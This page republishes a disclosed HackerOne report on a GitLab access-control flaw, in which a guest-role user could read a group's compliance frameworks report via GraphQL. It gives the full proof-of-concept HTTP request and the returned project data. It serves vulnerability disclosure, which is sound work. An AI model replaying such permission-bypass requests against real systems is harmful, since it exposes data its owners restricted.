Skip to content
Access control Disclosed report Beginner

A user without proper permission is capable of accessing Compliance frameworks report

A user with only the guest role could access a group's compliance frameworks report through the GraphQL API, which should require administrator or owner permissions. This allowed the attacker to view compliance framework data for projects in the group.

GitLab

Originally disclosed on GitLab

  • Fixed in 6 days
  • Disclosed after 6 days

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1917986 by ricardobrito on 2023-03-25, assigned to H1 Triage:

Report | Attachments | How To Reproduce

Report

Hi team,

Gitlab recently introduced the Compliance frameworks report in Version 15.10 and the documentation states the following:
To view the compliance report for a group: You must be an administrator or have the Owner role for the group.
However I have found that a user with simple guest role is capable of accessing the data through the graphql api. Take a look at the following POC:

Steps to reproduce
  1. Invite a user (attacker) to a group as a guest
  2. Make the following request as the attacker:
POST /api/graphql HTTP/2  
Host: gitlab.com  
Cookie:   _gitlab_session=5662b5d95adec763bc0fb903728324b9; preferred_language=en  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://gitlab.com/groups/ricardobrito_11/-/security/compliance_dashboard/frameworks  
Content-Type: application/json  
X-Csrf-Token: s5VdhAkaYVCPrB-1bsFII0Jb-NKAjdR69VWqjRWtbFrB8VX3N7vZSMrFMB64I7wCWRGAnN4dhjIJPcdwdDJYvA  
X-Gitlab-Feature-Category: compliance_management  
Content-Length: 973  
Origin: https://gitlab.com  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers

[{"operationName":"complianceFrameworksGroupProjects","variables":{"groupPath":"rickyblackthor1","first":20},"query":"query complianceFrameworksGroupProjects($groupPath: ID!, $after: String, $before: String, $first: Int, $last: Int) {\n  group(fullPath: $groupPath) {\n    id\n    projects(\n      includeSubgroups: true\n      after: $after\n      before: $before\n      first: $first\n      last: $last\n    ) {\n      nodes {\n        id\n        name\n        fullPath\n        webUrl\n        complianceFrameworks {\n          nodes {\n            id\n            name\n            default\n            description\n            color\n            __typename\n          }\n          __typename\n        }\n        __typename\n      }\n      pageInfo {\n        ...PageInfo\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment PageInfo on PageInfo {\n  hasNextPage\n  hasPreviousPage\n  startCursor\n  endCursor\n  __typename\n}\n"}]  

replace groupPath with your group path from the URL

  1. The attacker can get the compliance framework data
JSON
[{"data":{"group":{"id":"gid://gitlab/Group/61636601","projects":{"nodes":[{"id":"gid://gitlab/Project/41976365","name":"Learn GitLab","fullPath":"rickyblackthor1/learn-gitlab","webUrl":"https://gitlab.com/rickyblackthor1/learn-gitlab","complianceFrameworks":{"nodes":[],"__typename":"ComplianceFrameworkConnection"},"__typename":"Project"},{"id":"gid://gitlab/Project/41976363","name":"sample-project","fullPath":"rickyblackthor1/sample-project","webUrl":"https://gitlab.com/rickyblackthor1/sample-project","complianceFrameworks":{"nodes":[],"__typename":"ComplianceFrameworkConnection"},"__typename":"Project"}],"pageInfo":{"hasNextPage":false,"hasPreviousPage":false,"startCursor":"eyJpZCI6IjQxOTc2MzY1In0","endCursor":"eyJpZCI6IjQxOTc2MzYzIn0","__typename":"PageInfo"},"__typename":"ProjectConnection"},"__typename":"Group"}}}]  
Impact

A user without proper permissions can get group compliance framework report data.

This bug happens on gitlab.com (as shown in POC video)

Expected behavior:

The user without proper permission should receive the following json response:

JSON
[{"data":{"group":null}}]  

Impact

A user without proper permissions can get group compliance framework report data.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A user without proper permissions could obtain group compliance framework report data.

What the attacker needed

Attacker must be a guest member of the group

How it was found

  1. Invite a user (attacker) to a group as a guest
  2. As the attacker, send a GraphQL request to /api/graphql with the group path
  3. The attacker receives the compliance framework data for the group's projects

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.